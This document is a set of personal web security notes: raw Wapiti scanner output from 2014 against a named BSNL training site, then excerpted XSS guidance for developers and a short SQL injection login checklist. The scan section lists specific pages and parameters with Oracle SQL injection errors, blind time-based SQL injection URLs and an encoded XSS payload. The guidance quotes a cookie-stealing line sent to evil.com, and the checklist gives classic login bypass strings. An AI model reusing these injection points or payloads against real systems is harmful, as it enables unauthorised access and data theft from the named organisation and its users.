website vlunerability notes


wapiti scan test on 21 apr 2014 at 0.40 hrs

Received a HTTP 500 error in http://learntelecom.bsnl.co.in/eetp_sms_module/eetp
_forget_password_sms.asp
Evil request:
POST /eetp_sms_module/eetp_forget_password_sms.asp HTTP/1.1
Host: learntelecom.bsnl.co.in
Referer: http://learntelecom.bsnl.co.in/eetp_nodal_module/eetp_forget_password_n
odal.asp
Content-Type: application/x-www-form-urlencoded

role_of_login=Nodal%20Officer&mfield=nodal_officer_mobile_no&pfield=%BF%27%22%28
&ufield=nodal_officer_userid&table_name=eetp_college_master&back_file_name=..%2F
eetp_nodal_module%2Feetp_forget_password_nodal.asp&nodal_officer_userid=default

Received a HTTP 500 error in http://learntelecom.bsnl.co.in/eetp_sms_module/eetp
_forget_password_sms.asp
Evil request:
POST /eetp_sms_module/eetp_forget_password_sms.asp HTTP/1.1
Host: learntelecom.bsnl.co.in
Referer: http://learntelecom.bsnl.co.in/eetp_nodal_module/eetp_forget_password_n
odal.asp
Content-Type: application/x-www-form-urlencoded

role_of_login=Nodal%20Officer&mfield=nodal_officer_mobile_no&pfield=nodal_office
r_password&ufield=%BF%27%22%28&table_name=eetp_college_master&back_file_name=..%
2Feetp_nodal_module%2Feetp_forget_password_nodal.asp&nodal_officer_userid=defaul
t

Received a HTTP 500 error in http://learntelecom.bsnl.co.in/eetp_sms_module/eetp
_forget_password_sms.asp
Evil request:
POST /eetp_sms_module/eetp_forget_password_sms.asp HTTP/1.1
Host: learntelecom.bsnl.co.in
Referer: http://learntelecom.bsnl.co.in/eetp_nodal_module/eetp_forget_password_n
odal.asp
Content-Type: application/x-www-form-urlencoded

role_of_login=Nodal%20Officer&mfield=nodal_officer_mobile_no&pfield=nodal_office
r_password&ufield=nodal_officer_userid&table_name=%BF%27%22%28&back_file_name=..
%2Feetp_nodal_module%2Feetp_forget_password_nodal.asp&nodal_officer_userid=defau
lt

Received a HTTP 500 error in http://learntelecom.bsnl.co.in/eetp_sms_module/eetp
_forget_password_sms.asp
Evil request:
POST /eetp_sms_module/eetp_forget_password_sms.asp HTTP/1.1
Host: learntelecom.bsnl.co.in
Referer: http://learntelecom.bsnl.co.in/eetp_nodal_module/eetp_forget_password_n
odal.asp
Content-Type: application/x-www-form-urlencoded

role_of_login=Nodal%20Officer&mfield=nodal_officer_mobile_no&pfield=nodal_office
r_password&ufield=nodal_officer_userid&table_name=eetp_college_master&back_file_
name=%BF%27%22%28&nodal_officer_userid=default

Received a HTTP 500 error in http://learntelecom.bsnl.co.in/eetp_sms_module/eetp
_forget_password_sms.asp
Evil request:
POST /eetp_sms_module/eetp_forget_password_sms.asp HTTP/1.1
Host: learntelecom.bsnl.co.in
Referer: http://learntelecom.bsnl.co.in/eetp_nodal_module/eetp_forget_password_n
odal.asp
Content-Type: application/x-www-form-urlencoded

role_of_login=Nodal%20Officer&mfield=nodal_officer_mobile_no&pfield=nodal_office
r_password&ufield=nodal_officer_userid&table_name=eetp_college_master&back_file_
name=..%2Feetp_nodal_module%2Feetp_forget_password_nodal.asp&nodal_officer_useri
d=%BF%27%22%28

Oracle Injection ORA-00936 in http://learntelecom.bsnl.co.in/eetp_reports_module
/eetp_student_list1.asp via injection in the parameter back_file_name
Evil request:
POST /eetp_reports_module/eetp_student_list1.asp HTTP/1.1
Host: learntelecom.bsnl.co.in
Referer: http://learntelecom.bsnl.co.in/eetp_reports_module/eetp_student_list.as
p
Content-Type: application/x-www-form-urlencoded

back_file_name=%BF%27%22%28&study_centre_id=on

Oracle Injection ORA-00911 in http://learntelecom.bsnl.co.in/eetp_reports_module
/eetp_student_list1.asp via injection in the parameter study_centre_id
Evil request:
POST /eetp_reports_module/eetp_student_list1.asp HTTP/1.1
Host: learntelecom.bsnl.co.in
Referer: http://learntelecom.bsnl.co.in/eetp_reports_module/eetp_student_list.as
p
Content-Type: application/x-www-form-urlencoded

back_file_name=..%2Feetp_reports_module%2Feetp_student_list.asp&study_centre_id=
%BF%27%22%28

Oracle Injection ORA-00936 in http://learntelecom.bsnl.co.in/eetp_reports_module
/eetp_timetable_report1.asp via injection in the parameter back_file_name
Evil request:
POST /eetp_reports_module/eetp_timetable_report1.asp HTTP/1.1
Host: learntelecom.bsnl.co.in
Referer: http://learntelecom.bsnl.co.in/eetp_reports_module/eetp_timetable_repor
t.asp
Content-Type: application/x-www-form-urlencoded

back_file_name=%BF%27%22%28&course_code=on&study_centre_id=on

Oracle Injection ORA-00936 in http://learntelecom.bsnl.co.in/eetp_reports_module
/eetp_timetable_report1.asp via injection in the parameter course_code
Evil request:
POST /eetp_reports_module/eetp_timetable_report1.asp HTTP/1.1
Host: learntelecom.bsnl.co.in
Referer: http://learntelecom.bsnl.co.in/eetp_reports_module/eetp_timetable_repor
t.asp
Content-Type: application/x-www-form-urlencoded

back_file_name=..%2Feetp_reports_module%2Feetp_eetp_timetable_report.asp&course_
code=%BF%27%22%28&study_centre_id=on

Oracle Injection ORA-00911 in http://learntelecom.bsnl.co.in/eetp_reports_module
/eetp_timetable_report1.asp via injection in the parameter study_centre_id
Evil request:
POST /eetp_reports_module/eetp_timetable_report1.asp HTTP/1.1
Host: learntelecom.bsnl.co.in
Referer: http://learntelecom.bsnl.co.in/eetp_reports_module/eetp_timetable_repor
t.asp
Content-Type: application/x-www-form-urlencoded

back_file_name=..%2Feetp_reports_module%2Feetp_eetp_timetable_report.asp&course_
code=on&study_centre_id=%BF%27%22%28

Oracle Injection ORA-00936 in http://learntelecom.bsnl.co.in/eetp_reports_module
/eetp_schedule_list_view1.asp via injection in the parameter back_file_name
Evil request:
POST /eetp_reports_module/eetp_schedule_list_view1.asp HTTP/1.1
Host: learntelecom.bsnl.co.in
Referer: http://learntelecom.bsnl.co.in/eetp_reports_module/eetp_schedule_list_v
iew.asp
Content-Type: application/x-www-form-urlencoded

back_file_name=%BF%27%22%28&course_code=on&study_centre_id=on

Oracle Injection ORA-00936 in http://learntelecom.bsnl.co.in/eetp_reports_module
/eetp_schedule_list_view1.asp via injection in the parameter course_code
Evil request:
POST /eetp_reports_module/eetp_schedule_list_view1.asp HTTP/1.1
Host: learntelecom.bsnl.co.in
Referer: http://learntelecom.bsnl.co.in/eetp_reports_module/eetp_schedule_list_v
iew.asp
Content-Type: application/x-www-form-urlencoded

back_file_name=..%2Feetp_reports_module%2Feetp_eetp_schedule_list_view.asp&cours
e_code=%BF%27%22%28&study_centre_id=on

Oracle Injection ORA-00911 in http://learntelecom.bsnl.co.in/eetp_reports_module
/eetp_schedule_list_view1.asp via injection in the parameter study_centre_id
Evil request:
POST /eetp_reports_module/eetp_schedule_list_view1.asp HTTP/1.1
Host: learntelecom.bsnl.co.in
Referer: http://learntelecom.bsnl.co.in/eetp_reports_module/eetp_schedule_list_v
iew.asp
Content-Type: application/x-www-form-urlencoded

back_file_name=..%2Feetp_reports_module%2Feetp_eetp_schedule_list_view.asp&cours
e_code=on&study_centre_id=%BF%27%22%28

Oracle Injection ORA-00936 in http://learntelecom.bsnl.co.in/eetp_reports_module
/eetp_timetable_report_collegewise1.asp via injection in the parameter back_file
_name
Evil request:
POST /eetp_reports_module/eetp_timetable_report_collegewise1.asp HTTP/1.1
Host: learntelecom.bsnl.co.in
Referer: http://learntelecom.bsnl.co.in/eetp_reports_module/eetp_timetable_repor
t_collegewise.asp
Content-Type: application/x-www-form-urlencoded

back_file_name=%BF%27%22%28&course_code=on&study_centre_id=on

Oracle Injection ORA-00936 in http://learntelecom.bsnl.co.in/eetp_reports_module
/eetp_timetable_report_collegewise1.asp via injection in the parameter course_co
de
Evil request:
POST /eetp_reports_module/eetp_timetable_report_collegewise1.asp HTTP/1.1
Host: learntelecom.bsnl.co.in
Referer: http://learntelecom.bsnl.co.in/eetp_reports_module/eetp_timetable_repor
t_collegewise.asp
Content-Type: application/x-www-form-urlencoded

back_file_name=..%2Feetp_reports_module%2Feetp_eetp_timetable_report_collegewise
.asp&course_code=%BF%27%22%28&study_centre_id=on

Oracle Injection ORA-00911 in http://learntelecom.bsnl.co.in/eetp_reports_module
/eetp_timetable_report_collegewise1.asp via injection in the parameter study_cen
tre_id
Evil request:
POST /eetp_reports_module/eetp_timetable_report_collegewise1.asp HTTP/1.1
Host: learntelecom.bsnl.co.in
Referer: http://learntelecom.bsnl.co.in/eetp_reports_module/eetp_timetable_repor
t_collegewise.asp
Content-Type: application/x-www-form-urlencoded

back_file_name=..%2Feetp_reports_module%2Feetp_eetp_timetable_report_collegewise
.asp&course_code=on&study_centre_id=%BF%27%22%28

Oracle Injection ORA-00936 in http://learntelecom.bsnl.co.in/eetp_reports_module
/eetp_timetable_report_batchwise1.asp via injection in the parameter back_file_n
ame
Evil request:
POST /eetp_reports_module/eetp_timetable_report_batchwise1.asp HTTP/1.1
Host: learntelecom.bsnl.co.in
Referer: http://learntelecom.bsnl.co.in/eetp_reports_module/eetp_timetable_repor
t_batchwise.asp
Content-Type: application/x-www-form-urlencoded

back_file_name=%BF%27%22%28&course_code=on&study_centre_id=on

Oracle Injection ORA-00936 in http://learntelecom.bsnl.co.in/eetp_reports_module
/eetp_timetable_report_batchwise1.asp via injection in the parameter course_code

Evil request:
POST /eetp_reports_module/eetp_timetable_report_batchwise1.asp HTTP/1.1
Host: learntelecom.bsnl.co.in
Referer: http://learntelecom.bsnl.co.in/eetp_reports_module/eetp_timetable_repor
t_batchwise.asp
Content-Type: application/x-www-form-urlencoded

back_file_name=..%2Feetp_reports_module%2Feetp_eetp_timetable_report.asp&course_
code=%BF%27%22%28&study_centre_id=on

Oracle Injection ORA-00911 in http://learntelecom.bsnl.co.in/eetp_reports_module
/eetp_timetable_report_batchwise1.asp via injection in the parameter study_centr
e_id
Evil request:
POST /eetp_reports_module/eetp_timetable_report_batchwise1.asp HTTP/1.1
Host: learntelecom.bsnl.co.in
Referer: http://learntelecom.bsnl.co.in/eetp_reports_module/eetp_timetable_repor
t_batchwise.asp
Content-Type: application/x-www-form-urlencoded

back_file_name=..%2Feetp_reports_module%2Feetp_eetp_timetable_report.asp&course_
code=on&study_centre_id=%BF%27%22%28

Oracle Injection ORA-00936 in http://learntelecom.bsnl.co.in/eetp_reports_module
/eetp_college_list_simple1.asp via injection in the parameter back_file_name
Evil request:
POST /eetp_reports_module/eetp_college_list_simple1.asp HTTP/1.1
Host: learntelecom.bsnl.co.in
Referer: http://learntelecom.bsnl.co.in/eetp_reports_module/eetp_college_list_si
mple.asp
Content-Type: application/x-www-form-urlencoded

back_file_name=%BF%27%22%28&study_centre_id=on

Oracle Injection ORA-00911 in http://learntelecom.bsnl.co.in/eetp_reports_module
/eetp_college_list_simple1.asp via injection in the parameter study_centre_id
Evil request:
POST /eetp_reports_module/eetp_college_list_simple1.asp HTTP/1.1
Host: learntelecom.bsnl.co.in
Referer: http://learntelecom.bsnl.co.in/eetp_reports_module/eetp_college_list_si
mple.asp
Content-Type: application/x-www-form-urlencoded

back_file_name=..%2Feetp_reports_module%2Feetp_college_list_simple.asp&study_cen
tre_id=%BF%27%22%28


[+] Launching module xss
Timeout occured in http://learntelecom.bsnl.co.in/acp_main_module/registration_p
age2.asp
Evil request:
POST /acp_main_module/registration_page2.asp HTTP/1.1
Host: learntelecom.bsnl.co.in
Referer: http://learntelecom.bsnl.co.in/acp_main_module/registration_page2.asp
Content-Type: application/x-www-form-urlencoded

back_form=yes&username=default&password=default&candidate_name=default&dd_dob=de
fault&mm_dob=default&yy_dob=default&title=default&contact_no=default&parent_name
=default&is_bsnl_ward=default&pincode=default&state_id=default&address_line1=def
ault&institute_name=%22%3E%3C%2Finput%3E%3Cimg%20src%3D%26%23106%3B%26%2397%3B%2
6%23118%3B%26%2397%3B%26%23115%3B%26%2399%3B%26%23114%3B%26%23105%3B%26%23112%3B
%26%23116%3B%26%2358%3B%26%2397%3B%26%23108%3B%26%23101%3B%26%23114%3B%26%23116%
3B%26%2340%3B%26%2339%3Bwxidaqc31r%3B%26%2339%3B%26%2341%3B%3E&education=default
&city=default&schedule_id=on&submit1=Back...&submit2=Next...


[+] Launching module blindsql
Blind SQL vulnerability in http://learntelecom.bsnl.co.in/acp_main_module/studen
t_home.asp via injection in the query string
  Evil url: http://learntelecom.bsnl.co.in/acp_main_module/student_home.asp?%22%
09and%09sleep%287%29%3D%22
Received a HTTP 500 error in http://learntelecom.bsnl.co.in/acp_main_module/guid
elines.asp
  Evil url: http://learntelecom.bsnl.co.in/acp_main_module/guidelines.asp?sleep%
287%29%231
Received a HTTP 500 error in http://learntelecom.bsnl.co.in/acp_photo_gallery_mo
dule/photo_gallery.asp
  Evil url: http://learntelecom.bsnl.co.in/acp_photo_gallery_module/photo_galler
y.asp?sleep%287%29%231
Blind SQL vulnerability in http://learntelecom.bsnl.co.in/acp_main_module/locati
on_in_google_map.asp via injection in the parameter back_file_name
  Evil url: http://learntelecom.bsnl.co.in/acp_main_module/location_in_google_ma
p.asp?study_centre_id=13&back_file_name=benchmark%2810000000%2CMD5%281%29%29%231



===============================================


Notes from :http://www.squarefree.com/securitytips/web-developers.html


Security tips for web developers

This page describes some things that web developers need to know about web browsers in order to create sites that don't have security holes.
This is still a draft, as you might be able to guess from the number of "TODO:" items and the poor separation of opinion from fact.

Cross-site scripting (XSS)

A cross-site scripting (XSS) hole is when an attacker can inject scripts into a page sent by your server. Browsers treat these injected scripts like any other script in the page.
For example, if http://www.yoursite.com/search?q= returns "There were no hits for .
", your site is vulnerable to a simple XSS hole. If a malicious site links to such a URL, it can take control over the user's account on the site in several ways:
  • Steal cookies for that site (location = "http://evil.com/stealcookie.cgi?cookie=" + encodeURIComponent(document.cookie)).
  • Steal passwords for that site that are stored by the browser, or that users are willing to enter after checking that they are on the correct site.
  • Read the user's data on the site or act on behalf of the user using iframes and DOM.
  • Set up an interactive session for the attacker to control the user's account, using the user's browser as a proxy, as long as the user doesn't leave the page. (This defeats any security-by-obscurity you might have.)
  • If the site has another XSS hole that can be exploited through a cookie, a normal XSS hole can be used to set a cookie, resulting in a permanent attack.
Internet Explorer supports a non-standard extension to HTTP cookies called HttpOnly. HttpOnly guards against the first version of XSS attacks, but only the first version (except in some clever cases involving multiple subdomains). Because of this, and because Firefox does not support HttpOnly (bug 178993), you should not rely on HttpOnly to protect your site and visitors.
Even on sites where users do not have accounts, XSS holes can be a problem. For example, intranet sites are automatically limited to users within the intranet, but XSS holes can allow outsiders to access them through the web browsers of employees.

Avoiding XSS holes

"Open redirect" scripts should not redirect to URLs with special protocols that inherit the security context of the site (hi Gmail). In Firefox, these protocols are javascript: and data:.
For sites where the input is meant to be plain text, the fix is simple: escape everything as it is output as HTML, using an escaping mechanism appropriate to where it is.
  • Text in HTML and HTML attributes: escape & < > " ' as & < > " '
  • Text in JavaScript strings: escape \ / ' " as \\ \/ \' \". (It is not immediately obvious why you must escape / as \/. The reason is not because of how JavaScript is parsed, but because of how HTML is parsed.



==============================================================

Some simple steps you should do to check vulnerability of your website
1. In Login form,type Username=*, password=.  you should get invalid username/password.
2. In Login form,type Username=, password=' or 1=1-- 
    you should get invalid username/password
3. In Login form,type Username=, password=%27%20or%20%27%27%3D%27
    you should get invalid username/password
3. In Login form,type Username=CAST('username' AS SIGNED INTEGER) ,password= you should get invalid username/password